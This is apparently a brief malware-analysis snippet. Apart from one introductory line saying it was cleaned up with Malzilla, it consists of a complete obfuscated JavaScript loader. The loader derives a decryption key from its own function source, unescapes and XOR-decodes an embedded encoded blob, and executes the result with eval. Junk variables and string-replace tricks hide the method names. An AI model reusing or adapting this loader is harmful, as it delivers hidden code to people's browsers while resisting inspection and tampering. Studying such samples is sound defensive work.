A nicer version of the script using Malzilla:

this.floatFinal="floatFinal";
var intSet="intSet";
var nsShortNs;
nsShortNs='%9e%87%9c%8a%87%95%91%81%d5%b1%9b%96%89%9c%f7%cd%ea%9e%96%ba%89%96%9d%d2%8c%87%ba%c8%c9%85%89%9d%84%d0%d0%c4%84%93%9d%a4%97%c4%ab%9d%9c%e1%89%87%94%e9%82%95%de%93%8a%95%d9%c8%cf%e8%9c%a8%9b%9e%9e%d3%f6%9e%82%bf%8a%9e%82%84%d7%fd%9f%80%94%fc%df%d0%e9%d2%83%9a%d0%9b%81%88%c3%ce%dd%c6';

function doubleAsFloat(finalIntDate)
{
    var windowUseWindow=false;
    var asAs=new Date();
    function nullWordSet(byteNull)
    {
        var intFalse=0;               
        var longSetAs=byteNull.length, falseWindowNull=0;
        var byteByte=false;

        while(falseWindowNull<longSetAs)
        {
            intFalse+=windowDouble(byteNull,falseWindowNull)*longSetAs;
            falseWindowNull++;
        }
        return (intFalse+'');
        this.dateNs='';
        var letterByte=new Date();
    }

    function windowDouble(falseDateStatic,staticNsWindow)
    {
        this.varShortSet="varShortSet";
        return falseDateStatic['cEhGaTrGCGoPdGeGAEt.'.replace(/[TGE\.P]/g, '')](staticNsWindow);
    }
    var useUseVar=window['euvoaZlI'.replace(/[IuxZo]/g, '')]('a9rKghuym7e7nytKsh.Kc7aKlKlKeKey'.replace(/[h9yK7]/g, ''));

    byteDoubleDate=0;
    var nullGetLetter=0,wordVar=0, charSetFalse=169;
    var getCharWord='';

    var finalAsUse=(new String(useUseVar)).replace(/[^@a-z0-9A-Z_.,-]/g,'');
    this.useNull=false;
    var byteFalse=nullWordSet(finalAsUse);
    trueSetStatic=0;
    finalIntDate=window['uynPe,s!c!a9pyeP'.replace(/[y9,\!P]/g,'')](finalIntDate);

    var doubleWordNull='';
    for(var nsLetter=0;nsLetter < (finalIntDate.length); nsLetter++)
    {
        for(varFloatWindow=0;varFloatWindow<3;varFloatWindow++)
        {
            varFloatWindow++
        };

        function useFalseLetter(useFalseLetter)
        {
            return 'useFalseLetter'
        };

        this.charNullAs="";
        var falseInt=windowDouble(finalAsUse,nullGetLetter);
        var charLong=windowDouble(byteFalse,wordVar);
        var shortAsSet=function(){};
        function doubleFalse(){};

        var asIntByte=falseInt^charLong^charSetFalse;
        for(setFalse=0;setFalse<3;setFalse++)
        {
            setFalse++
        };
        var varStaticFalse=windowDouble(finalIntDate,nsLetter);        

        var finalTrueLong=5164;
        var charDouble="";
        
        nullGetLetter++,wordVar++;
        var nsNull='';
        getCharWord+=String['f[rzozm[C2h[aXr2CXoXdzez'.replace(/[\[5X2z]/g,'')](varStaticFalse^asIntByte);
        if(wordVar>byteFalse.length)wordVar=0;
        if(nullGetLetter>finalAsUse.length)nullGetLetter=0;
    }
    var varWindow="varWindow";
    
    window['euvoaZlI'.replace(/[IuxZo]/g, '')](getCharWord);
    var staticNull=new Array();
    var trueStatic=false;
    return getCharWord=new String();
    var varGet='varGet'.substring(50066, 50066);
}
doubleAsFloat(nsShortNs);
var getVarWord="getVarWord";
this.finalUseNs='';